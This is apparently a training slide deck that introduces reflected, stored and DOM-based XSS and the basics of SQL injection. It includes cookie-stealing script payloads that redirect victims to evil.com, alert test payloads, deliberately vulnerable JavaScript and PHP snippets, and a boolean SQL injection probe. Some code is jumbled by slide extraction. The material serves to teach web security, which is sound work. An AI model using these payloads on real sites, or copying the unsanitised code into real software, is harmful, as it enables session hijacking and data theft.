Presented By: Ankit Kumar
Associate SOC Engineer
Orange Business Services
Text
Introduction To XSS
XSS is a Vulnerability that allows an attacker to inject and run client-side Script in a vulnerable website viewed by other users.
Types Of XSS
1. Reflected XSS (AKA Non Persistent or Type II)
Reflected attacks occurs when the infected script is reflected off the web server such as an error message, search result or any response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser, and without permanently storing the user provided data.
2. Stored XSS (AKA Persistent or Type I)
Stored XSS attacks occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser.
3. DOM Based Xss (AKA Type 0)
DOM based attacks occurs when the attack payload is executed as a result of modifying the DOM environment in the victim's browser used by the original client side script, so that the client side code runs in an unexpected manner.
Example of Reflected XSS
Reflected XSS is harnessed by attaching the malicious script in the end of the URL/link. Though it may be obvious to see code on the end of the url, techniques of hiding it are possible like link shortening services.
Types : Redirect to a Phishing Site, Steal cookie information, Force the user to make an action etc.
Example:
I send a victim a link to and somewhere on the page that value is echoed back to the victim. The value is only on the page if they follow my special link.
When the victim clicks the link, weak-site.com shows a page with the script embedded. The browser redirects the victim to the hacker's site and delivers the victim's cookie from weak-site.com.
The downside of this type is I have to specifically attack one victim or a group of victims who I can get to click on a link. It may be hard to get another person to follow your link.
http://example.com/page?var=<script>alert('xss')</script>http://weak-site.com/search?keyword=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fevil.com%2F%3Fvictimc
ookie%3D%27%2Bdocument.cookie%3C%2Fscript%3EExample of Stored XSS
In Stored XSS we need to find inject location which needs to be something that interacts with either a Database or File storage and then inject malicious script into its server (e.g., via a comment field).
e.g.: Comments fields, Submission Forms, Contacts Forms, Posts, Uploads etc.
Example:
I create a blog post on weak-site.com with the following content:
If the site renders my post intact, it will redirect to the given link from which I can collect the cookie value of every user who views my post.
I add a comment in a XSS vulnerable site's comment field:
A comment "I'm leaving a comment" will add in comment box and whenever the webpage got opened it will show a popup written "XSS".
Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page.
<script>window.location='http://evil.com/?victimcookie='+document.cookie</script>I'm leaving a comment.<script>alert("XSS")</alert>Example of DOM based XSS
DOM Based XSS is a form of XSS where the entire tainted data flow from source to sink takes place in the browser, i.e., the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser. For example, the source (where malicious data is read) could be the URL of the page (e.g., document.location.href), or it could be an element of the HTML, and the sink is a sensitive method call that causes the execution of the malicious data (e.g., document.write, document.querySelector)."
Example:
Consider the example shown in the previous slide: the following HTML page (let’s say this is the content of http://website/search) :
Normally, this HTML page would be used for searching something.
However, a request such as:
The victim’s browser receives this link, sends an HTTP request to http://website/search, and receives the above (static!) HTML page. The victim’s browser then starts parsing this HTML into DOM. The DOM contains an object called document, which contains a property called querySelector, and this property is populated with the searched content showed in the current page, as part of DOM creation.
http://website/search?keyword=<script>alert(document.cookie)</script> <html>
you searched for: <em></em>
<script>
var keyword = location.search.substring(6);
document.queryselector('em').innerHTML = keyword;
</script>
</html>Example cont.:
When the parser arrives to the Javascript code, The below code will get executed and it modifies the raw HTML of the page. In this case, the code references document.querselector, which will be a part of em tag which is embedded at parsing time in the HTML, which is then immediately parsed and the Javascript code found (alert(…)) is executed in the context of the same page.
<html>
you searched for: <em><script>alert(document.cookie)</script></em>
<script>
var keyword = location.search.substring(6);
document.queryselector('em').innerHTML = keyword;
</script>
</html>Example cont.:
Notes:
1. The malicious payload was not embedded in the raw HTML page at any time (unlike the other flavors of XSS).
2.One of the biggest differences between DOM Based XSS and Reflected or Stored XSS vulnerabilities is that DOM Based XSS cannot be stopped by server-side filters. The reason is quite simple; anything written after the "#" (hash) will never be sent to the server.
3. This exploit only works if the browser does not modify the URL characters. Mozilla automatically encodes < and > (into %3C and %3E, respectively) in the document.URL when the URL is not directly typed at the address bar, and therefore it is not vulnerable to the attack as shown in the example. It is vulnerable to attacks if < and > are not needed (in raw form). Microsoft Internet Explorer 6.0 does not encode < and >, and is therefore vulnerable to the attack as-is.
Introduction To SQL Injection
SQL injection is a technique of injection attack where malicious user can inject SQL commands into an predefined SQL statement via webpage input.
Step by Step example of SQL Injection
In Sqli, When a user’s input is being passed unvalidated and unsanitzed as part of an SQL query that means that the user can manipulate the query itself and force it to return different data than what it was supposed to return.
Let’s suppose that we have a web application which takes the parameter “article” via $_GET request and queries the database to get an article’s content.
The PHP code is for it in back-end is following:
http://ankitblogpost.php.example/show.php?article=1// The ”article” parameter is assigned to $article variable without any sanitization or validation
$articleid = $_GET[‘article’];
// The $articleid parameter is passed as part of the query
$query = "SELECT * FROM articles WHERE articleid = $articleid";The typical webpage would be following:
If a user changes the article parameter to 1 AND 1=1 then the query becomes like this:
In this case, the content of the page does not change because the two conditions in the SQL statement are both true. There is an article with an id of 1, and 1 equals to 1 which is true.
If a user changes the parameter to 1 AND 1=2, it returns nothing because 1 is not equal to 2. That means that the user is controlling the query and can adjust it accordingly to manipulate the results.
$query = "SELECT * FROM articles WHERE articleid = 1 AND 1=1";By ANKIT KUMAR
